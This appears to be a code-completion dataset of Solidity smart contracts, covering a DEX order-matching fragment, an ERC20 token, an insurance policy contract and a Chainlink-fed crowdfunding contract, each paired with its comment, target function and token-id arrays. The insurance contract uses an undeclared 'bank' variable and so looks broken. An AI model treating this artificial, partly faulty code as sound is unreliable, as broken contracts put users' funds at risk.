only the minDeposit field can be updated. tokens[tokenCode].minDeposit = minDeposit; emit SetTokenInfoEvent(tokenCode, info.symbol, info.tokenAddr, info.scaleFactor, minDeposit); return; } tokens[tokenCode].symbol = symbol; tokens[tokenCode].tokenAddr = tokenAddr; tokens[tokenCode].scaleFactor = scaleFactor; tokens[tokenCode].minDeposit = minDeposit; emit SetTokenInfoEvent(tokenCode, symbol, tokenAddr, scaleFactor, minDeposit); } //------------------------------ Private Functions: ---------------------------------------------- function setDeposits(uint64 depositIndex, address traderAddr, uint16 tokenCode, uint64 amountE8) private { deposits[depositIndex].traderAddr = traderAddr; deposits[depositIndex].tokenCode = tokenCode; deposits[depositIndex].pendingAmountE8 = amountE8; } function setExeStatus(uint64 logicTimeSec, uint64 lastOperationIndex) private { exeStatus.logicTimeSec = logicTimeSec; exeStatus.lastOperationIndex = lastOperationIndex; } function confirmDeposit(uint64 depositIndex) private { Deposit memory deposit = deposits[depositIndex]; uint176 accountKey = (uint176(deposit.tokenCode) << 160) | uint176(deposit.traderAddr); TokenAccount memory account = accounts[accountKey]; // Check that pending amount is non-zero and no overflow would happen. if (account.balanceE8 + deposit.pendingAmountE8 <= account.balanceE8) revert(); account.balanceE8 += deposit.pendingAmountE8; deposits[depositIndex].pendingAmountE8 = 0; accounts[accountKey].balanceE8 += deposit.pendingAmountE8; emit ConfirmDepositEvent(deposit.traderAddr, deposit.tokenCode, account.balanceE8); } function initiateWithdraw(uint176 tokenAccountKey, uint64 amountE8) private { uint64 balanceE8 = accounts[tokenAccountKey].balanceE8; uint64 pendingWithdrawE8 = accounts[tokenAccountKey].pendingWithdrawE8; if (balanceE8 < amountE8 || amountE8 == 0) revert(); balanceE8 -= amountE8; uint64 feeE8 = calcFeeE8(amountE8, withdrawFeeRateE4, address(tokenAccountKey)); amountE8 -= feeE8; if (pendingWithdrawE8 + amountE8 < amountE8) revert(); // check overflow pendingWithdrawE8 += amountE8; accounts[tokenAccountKey].balanceE8 = balanceE8; accounts[tokenAccountKey].pendingWithdrawE8 = pendingWithdrawE8; // Note that the fee account has a dummy trader address of 0. if (accounts[tokenAccountKey & (0xffff << 160)].pendingWithdrawE8 + feeE8 >= feeE8) { // no overflow accounts[tokenAccountKey & (0xffff << 160)].pendingWithdrawE8 += feeE8; } emit InitiateWithdrawEvent(address(tokenAccountKey), uint16(tokenAccountKey >> 160) /*tokenCode*/, amountE8, pendingWithdrawE8); } function getDealInfo(uint32 pairId, uint64 priceE8, uint64 amount1E8, uint64 amount2E8) private pure returns (DealInfo deal) { deal.stockCode = uint16(pairId); deal.cashCode = uint16(pairId >> 16); if (deal.stockCode == deal.cashCode) revert(); // we disallow homogeneous trading deal.stockDealAmountE8 = amount1E8 < amount2E8 ? amount1E8 : amount2E8; uint cashDealAmountE8 = uint(priceE8) * uint(deal.stockDealAmountE8) / 10**8; if (cashDealAmountE8 >= 2**64) revert(); deal.cashDealAmountE8 = uint64(cashDealAmountE8); } function calcFeeE8(uint64 amountE8, uint feeRateE4, address traderAddr) private view returns (uint64) { uint feeE8 = uint(amountE8) * feeRateE4 / 10000; feeE8 -= feeE8 * uint(traders[traderAddr].feeRebatePercent) / 100; return uint64(feeE8); } function settleAccounts(DealInfo deal, address traderAddr, uint feeRateE4, bool isBuyer) private { uint16 giveTokenCode = isBuyer ? deal.cashCode : deal.stockCode; uint16 getTokenCode = isBuyer ? deal.stockCode : deal.cashCode; uint64 giveAmountE8 = isBuyer ? deal.cashDealAmountE8 : deal.stockDealAmountE8; uint64 getAmountE8 = isBuyer ? deal.stockDealAmountE8 : deal.cashDealAmountE8; uint176 giveAccountKey = uint176(giveTokenCode) << 160 | uint176(traderAddr); uint176 getAccountKey = uint176(getTokenCode) << 160 | uint176(traderAddr); uint64 feeE8 = calcFeeE8(getAmountE8, feeRateE4, traderAddr); getAmountE8 -= feeE8; // Check overflow. if (accounts[giveAccountKey].balanceE8 < giveAmountE8) revert(); if (accounts[getAccountKey].balanceE8 + getAmountE8 < getAmountE8) revert(); // Write storage. accounts[giveAccountKey].balanceE8 -= giveAmountE8; accounts[getAccountKey].balanceE8 += getAmountE8; if (accounts[uint176(getTokenCode) << 160].pendingWithdrawE8 + feeE8 >= feeE8) { // no overflow accounts[uint176(getTokenCode) << 160].pendingWithdrawE8 += feeE8; } } function setOrders(uint224 orderKey, uint32 pairId, uint8 action, uint8 ioc, uint64 priceE8, uint64 amountE8, uint64 expireTimeSec) private { orders[orderKey].pairId = pairId; orders[orderKey].action = action; orders[orderKey].ioc = ioc; orders[orderKey].priceE8 = priceE8; orders[orderKey].amountE8 = amountE8; orders[orderKey].expireTimeSec = expireTimeSec; } function matchOrder(uint224 makerOrderKey, Order makerOrder, uint224 takerOrderKey, Order takerOrder) private { // Check trading conditions. if (marketStatus != ACTIVE) revert(); if (makerOrderKey == takerOrderKey) revert(); // the two orders must not have the same key if (makerOrder.pairId != takerOrder.pairId) revert(); if (makerOrder.action == takerOrder.action) revert(); if (makerOrder.priceE8 == 0 || takerOrder.priceE8 == 0) revert(); if (makerOrder.action == 0 && makerOrder.priceE8 < takerOrder.priceE8) revert(); if (takerOrder.action == 0 && takerOrder.priceE8 < makerOrder.priceE8) revert(); if (makerOrder.amountE8 == 0 || takerOrder.amountE8 == 0) revert(); if (makerOrder.expireTimeSec <= exeStatus.logicTimeSec) revert(); if (takerOrder.expireTimeSec <= exeStatus.logicTimeSec) revert(); DealInfo memory deal = getDealInfo( makerOrder.pairId, makerOrder.priceE8, makerOrder.amountE8, takerOrder.amountE8); // Update accounts. settleAccounts(deal, address(makerOrderKey), makerFeeRateE4, (makerOrder.action == 0)); settleAccounts(deal, address(takerOrderKey), takerFeeRateE4, (takerOrder.action == 0)); // Update orders. if (makerOrder.ioc == 1) { // IOC order makerOrder.amountE8 = 0; } else { makerOrder.amountE8 -= deal.stockDealAmountE8; } if (takerOrder.ioc == 1) { // IOC order takerOrder.amountE8 = 0; } else { takerOrder.amountE8 -= deal.stockDealAmountE8; } // Write orders back to storage. setOrders(makerOrderKey, makerOrder.pairId, makerOrder.action, makerOrder.ioc, makerOrder.priceE8, makerOrder.amountE8, makerOrder.expireTimeSec); setOrders(takerOrderKey, takerOrder.pairId, takerOrder.action, takerOrder.ioc, takerOrder.priceE8, takerOrder.amountE8, takerOrder.expireTimeSec); emit MatchOrdersEvent(address(makerOrderKey), uint64(makerOrderKey >> 160) /*nonce*/, address(takerOrderKey), uint64(takerOrderKey >> 160) /*nonce*/); } function hardCancelOrder(uint224 orderKey) private { orders[orderKey].pairId = 0xFFFFFFFF; orders[orderKey].amountE8 = 0; emit HardCancelOrderEvent(address(orderKey) /*traderAddr*/, uint64(orderKey >> 160) /*nonce*/); } function setFeeRates(uint16 makerE4, uint16 takerE4, uint16 withdrawE4) private { if (makerE4 > MAX_FEE_RATE_E4) revert(); if (takerE4 > MAX_FEE_RATE_E4) revert(); if (withdrawE4 > MAX_FEE_RATE_E4) revert(); makerFeeRateE4 = makerE4; takerFeeRateE4 = takerE4; withdrawFeeRateE4 = withdrawE4; emit SetFeeRatesEvent(makerE4, takerE4, withdrawE4); } function setFeeRebatePercent(address traderAddr, uint8 feeRebatePercent) private { if (feeRebatePercent > 100) revert(); traders[traderAddr].feeRebatePercent = feeRebatePercent; emit SetFeeRebatePercentEvent(traderAddr, feeRebatePercent); } function parseNewOrder(uint224 orderKey, uint8 v, uint[] body, uint i) private view returns (Order) { // bits: <expireTimeSec>(64) <amountE8>(64) <priceE8>(64) <ioc>(8) <action>(8) <pairId>(32) uint240 bits = uint240(body[i + 1]); uint64 nonce = uint64(orderKey >> 160); address traderAddr = address(orderKey); if (traderAddr == 0) revert(); // check zero addr early since `ecrecover` returns 0 on error // verify the signature of the trader bytes32 hash1 = keccak256("\x19Ethereum Signed Message:\n70DEx2 Order: ", address(this), nonce, bits); if (traderAddr != ecrecover(hash1, v, bytes32(body[i + 2]), bytes32(body[i + 3]))) { bytes32 hashValues = keccak256("DEx2 Order", address(this), nonce, bits); bytes32 hash2 = keccak256(HASHTYPES, hashValues); if (traderAddr != ecrecover(hash2, v, bytes32(body[i + 2]), bytes32(body[i + 3]))) revert(); } Order memory order; order.pairId = uint32(bits); bits >>= 32; order.action = uint8(bits); bits >>= 8; order.ioc = uint8(bits); bits >>= 8; order.priceE8 = uint64(bits); bits >>= 64; order.amountE8 = uint64(bits); bits >>= 64; order.expireTimeSec = uint64(bits); return order; } } // contract
logic timestamp for checking order expiration
uint64 logicTimeSec;
6,262,479
[ 1, 28339, 2858, 364, 6728, 1353, 7686, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 1105, 4058, 950, 2194, 31, 3639, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0 ) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TEAChain is StandardToken{ string public constant name = "Tea Chain"; // solium-disable-line uppercase string public constant symbol = "TEAC"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 10000000000000000000000000000; uint256 public constant MAX_SUPPLY = 100 * 10000 * 10000 * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor() TEAChain() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } /** * The fallback function. */ function() payable public { revert(); } }
* @dev Allows the current owner to transfer control of the contract to a newOwner. @param newOwner The address to transfer ownership to./
function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; }
529,786
[ 1, 19132, 326, 783, 3410, 358, 7412, 3325, 434, 326, 6835, 358, 279, 394, 5541, 18, 225, 394, 5541, 1021, 1758, 358, 7412, 23178, 358, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 915, 7412, 5460, 12565, 12, 2867, 394, 5541, 13, 1071, 1338, 5541, 288, 203, 6528, 12, 2704, 5541, 480, 1758, 12, 20, 10019, 203, 18356, 14223, 9646, 5310, 1429, 4193, 12, 8443, 16, 394, 5541, 1769, 203, 8443, 273, 394, 5541, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0xe473C83d27DA2fC21839fB843C51bF6aDDADb158/sources/browser/InsurancePolicy.sol
Ensure that `msg.value` is an even number. Division will truncate if it is an odd number. Check via multiplication that it wasn't an odd number.
contract InsurancePolicy { uint public value; uint public insured_value; uint public commission; string public product_name; uint public expiry_date; uint public expiry_month; uint public expiry_year; address payable public insurer; address payable public buyer; State public state; enum State { Created, Locked, Inactive } constructor() public payable { insurer = msg.sender; value = msg.value / 2; require((2 * value) == msg.value, "Value has to be even."); } modifier condition(bool _condition) { require(_condition); _; } modifier onlyBuyer() { require( msg.sender == buyer, "Only buyer can call this." ); _; } modifier onlyInsurer() { require( msg.sender == insurer, "Only insurer can call this." ); _; } modifier inState(State _state) { require( state == _state, "Invalid state." ); _; } event Aborted(); event PurchaseConfirmed(); event PolicyIssued(); function abort() public onlyInsurer inState(State.Created) { emit Aborted(); state = State.Inactive; insurer.transfer(address(this).balance); } function confirmPurchase() public inState(State.Created) condition(msg.value == (2 * value)) payable { emit PurchaseConfirmed(); buyer = msg.sender; state = State.Locked; } function issuePolicy() public onlyBuyer inState(State.Locked) { emit PolicyIssued(); state = State.Inactive; bank.transfer(commission); buyer.transfer(value); insurer.transfer(address(this).balance); } }
14,141,269
[ 1, 12512, 716, 1375, 3576, 18, 1132, 68, 353, 392, 5456, 1300, 18, 21411, 1951, 903, 10310, 309, 518, 353, 392, 14800, 1300, 18, 2073, 3970, 23066, 716, 518, 14487, 1404, 392, 14800, 1300, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 657, 10050, 1359, 2582, 288, 203, 565, 2254, 1071, 460, 31, 203, 565, 2254, 1071, 316, 2055, 72, 67, 1132, 31, 203, 565, 2254, 1071, 1543, 19710, 31, 203, 565, 533, 1071, 3017, 67, 529, 31, 203, 565, 2254, 1071, 10839, 67, 712, 31, 203, 565, 2254, 1071, 10839, 67, 7496, 31, 203, 565, 2254, 1071, 10839, 67, 6874, 31, 203, 565, 1758, 8843, 429, 1071, 2763, 11278, 31, 203, 565, 1758, 8843, 429, 1071, 27037, 31, 203, 565, 3287, 1071, 919, 31, 203, 203, 565, 2792, 3287, 288, 12953, 16, 3488, 329, 16, 657, 3535, 289, 203, 565, 3885, 1435, 1071, 8843, 429, 288, 203, 3639, 2763, 11278, 273, 1234, 18, 15330, 31, 203, 3639, 460, 273, 1234, 18, 1132, 342, 576, 31, 203, 3639, 2583, 12443, 22, 380, 460, 13, 422, 1234, 18, 1132, 16, 315, 620, 711, 358, 506, 5456, 1199, 1769, 203, 565, 289, 203, 203, 565, 9606, 2269, 12, 6430, 389, 4175, 13, 288, 203, 3639, 2583, 24899, 4175, 1769, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 38, 16213, 1435, 288, 203, 3639, 2583, 12, 203, 5411, 1234, 18, 15330, 422, 27037, 16, 203, 5411, 315, 3386, 27037, 848, 745, 333, 1199, 203, 3639, 11272, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 5048, 11278, 1435, 288, 203, 3639, 2583, 12, 203, 5411, 1234, 18, 15330, 422, 2763, 11278, 16, 203, 5411, 315, 3386, 2763, 11278, 848, 745, 333, 1199, 203, 3639, 11272, 203, 3639, 389, 31, 203, 565, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // import aggregator contract from chainlink // chainlink is a decentralised oracle network import "@chainlink/contracts/src/v0.6/interfaces/AggregatorV3Interface.sol"; // import safemath contract from chainlink import "@chainlink/contracts/src/v0.6/vendor/SafeMathChainlink.sol"; contract CrowdFund { // use safemath for every uint256 in the contract using SafeMathChainlink for uint256; // map address to amount to track the value each address sent mapping(address => uint256) public addressToAmount; // array stores the address of each funder address[] public funders; address public owner; // constructor called once (on deployment) to set the contract owner constructor() public { owner = msg.sender; } // functions using the modifier will run this code first modifier onlyOwner { require(msg.sender == owner); _; } // payable public functon to accept funds // min funding amount set to fifty dollars in wei // require statement checks if min funding amount is met // msg.sender and msg.value are saved to the mapping // funder gets added to the funders array function fund() public payable { uint256 minUSD = 50 * 10 ** 18; require(conversion(msg.value) >= minUSD, "the min funding amount is fifty dollars"); addressToAmount[msg.sender] += msg.value; funders.push(msg.sender); } // function calls another contract and returns the interface version // address used is provided in the chainlink docs function version() public view returns (uint256) { AggregatorV3Interface feed = AggregatorV3Interface(0x8A753747A1Fa494EC906cE90E9f37563A8AF630e); return feed.version(); } // function returns the price of one eth in usd (in wei) // address used is provided in the chainlink docs function price() public view returns (uint256) { AggregatorV3Interface feed = AggregatorV3Interface(0x8A753747A1Fa494EC906cE90E9f37563A8AF630e); (,int256 answer,,,) = feed.latestRoundData(); return uint256(answer * 10000000000); } // function returns value of eth in usd (in wei) function conversion(uint256 ethAmount) public view returns (uint256) { uint256 ethPrice = price(); uint256 ethToUsd = (ethPrice * ethAmount) / 1000000000000000000; return ethToUsd; } // payable function using a modifier so only the owner can withdraw // for loop to reset the mapping and array to zero upon withdrawal function withdraw() payable onlyOwner public { msg.sender.transfer(address(this).balance); for (uint256 funderIndex = 0; funderIndex < funders.length; funderIndex++) { address funder = funders[funderIndex]; addressToAmount[funder] = 0; } funders = new address[](0); } }
function calls another contract and returns the interface version address used is provided in the chainlink docs
function version() public view returns (uint256) { AggregatorV3Interface feed = AggregatorV3Interface(0x8A753747A1Fa494EC906cE90E9f37563A8AF630e); return feed.version(); }
15,780,060
[ 1, 915, 4097, 4042, 6835, 471, 1135, 326, 1560, 1177, 1758, 1399, 353, 2112, 316, 326, 2687, 1232, 3270, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
